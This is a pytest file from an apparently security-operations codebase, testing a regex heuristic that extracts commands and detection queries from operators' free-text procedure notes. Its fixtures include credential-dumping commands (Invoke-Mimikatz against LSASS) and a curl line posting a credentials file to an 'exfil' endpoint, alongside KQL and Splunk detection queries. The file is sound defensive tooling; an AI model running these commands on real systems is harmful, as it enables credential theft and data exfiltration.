Files
Aegis/backend/tests/test_procedure_extraction_service.py
T
kitos fd94e55799 feat(tests): add regex-based command extraction heuristic
Extracts the actual command(s)/query out of a free-text procedure
field, discarding narrative and pasted output, for use in building
procedure-improvement suggestions from operator submissions.
2026-07-14 13:36:25 +02:00

98 lines
3.4 KiB
Python

"""Tests for the regex-based command/query extraction heuristic used to
build procedure-improvement suggestions from free-text procedure fields."""
import pytest
from app.services.procedure_extraction_service import extract_commands
@pytest.mark.parametrize("value", [None, "", " ", "\n\n"])
def test_returns_none_for_empty_input(value):
assert extract_commands(value) is None
def test_returns_none_for_pure_narrative():
text = (
"I logged into the domain controller and tried a well-known credential "
"dumping tool. It worked well and I documented everything in the summary."
)
assert extract_commands(text) is None
def test_fenced_code_block_takes_priority_over_surrounding_narrative():
text = (
"Ran the following from an elevated prompt:\n"
"```\n"
"Invoke-Mimikatz -DumpCreds\n"
"```\n"
"It successfully extracted plaintext passwords from LSASS memory."
)
assert extract_commands(text) == "Invoke-Mimikatz -DumpCreds"
def test_tilde_fence_supported():
text = "~~~\nGet-Process lsass\n~~~"
assert extract_commands(text) == "Get-Process lsass"
def test_multiple_fenced_blocks_are_joined():
text = "```\nwhoami /priv\n```\nthen\n```\nGet-Process lsass\n```"
assert extract_commands(text) == "whoami /priv\n\nGet-Process lsass"
def test_extracts_command_lines_from_mixed_narrative_no_fence():
text = (
"First I checked what privileges I had.\n"
"whoami /priv\n"
"Then I dumped credentials from LSASS.\n"
"Invoke-Mimikatz -DumpCreds\n"
"This successfully retrieved plaintext passwords, as shown below.\n"
"Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName\n"
" 542 27 23012 41564 0.45 1234 1 explorer\n"
)
result = extract_commands(text)
assert result == "whoami /priv\nInvoke-Mimikatz -DumpCreds"
def test_strips_shell_prompt_markers():
text = (
"Ran this against the target host:\n"
"$ curl -X POST http://target/api/exfil -d @creds.txt\n"
"Got a 200 OK back.\n"
)
assert extract_commands(text) == "curl -X POST http://target/api/exfil -d @creds.txt"
def test_strips_powershell_prompt_marker():
text = "PS C:\\Users\\op> Get-Process lsass"
assert extract_commands(text) == "Get-Process lsass"
def test_extracts_kql_detection_query_mixed_with_narrative():
text = (
"I built a Sentinel query to catch this technique going forward.\n"
"DeviceProcessEvents\n"
"| where FileName == \"mimikatz.exe\"\n"
"That caught it within a minute of execution in testing.\n"
)
result = extract_commands(text)
assert 'where FileName == "mimikatz.exe"' in result
assert "That caught it" not in result
def test_extracts_splunk_query():
text = (
"Search used for detection:\n"
"index=main sourcetype=WinEventLog:Security EventCode=4688\n"
"This surfaced the process creation event immediately.\n"
)
result = extract_commands(text)
assert "index=main sourcetype=WinEventLog:Security EventCode=4688" in result
assert "immediately" not in result
def test_known_binary_at_start_of_line_is_recognized():
text = "Notes: used the following.\nsudo tcpdump -i eth0 -w capture.pcap\nCaptured 500 packets."
result = extract_commands(text)
assert result == "sudo tcpdump -i eth0 -w capture.pcap"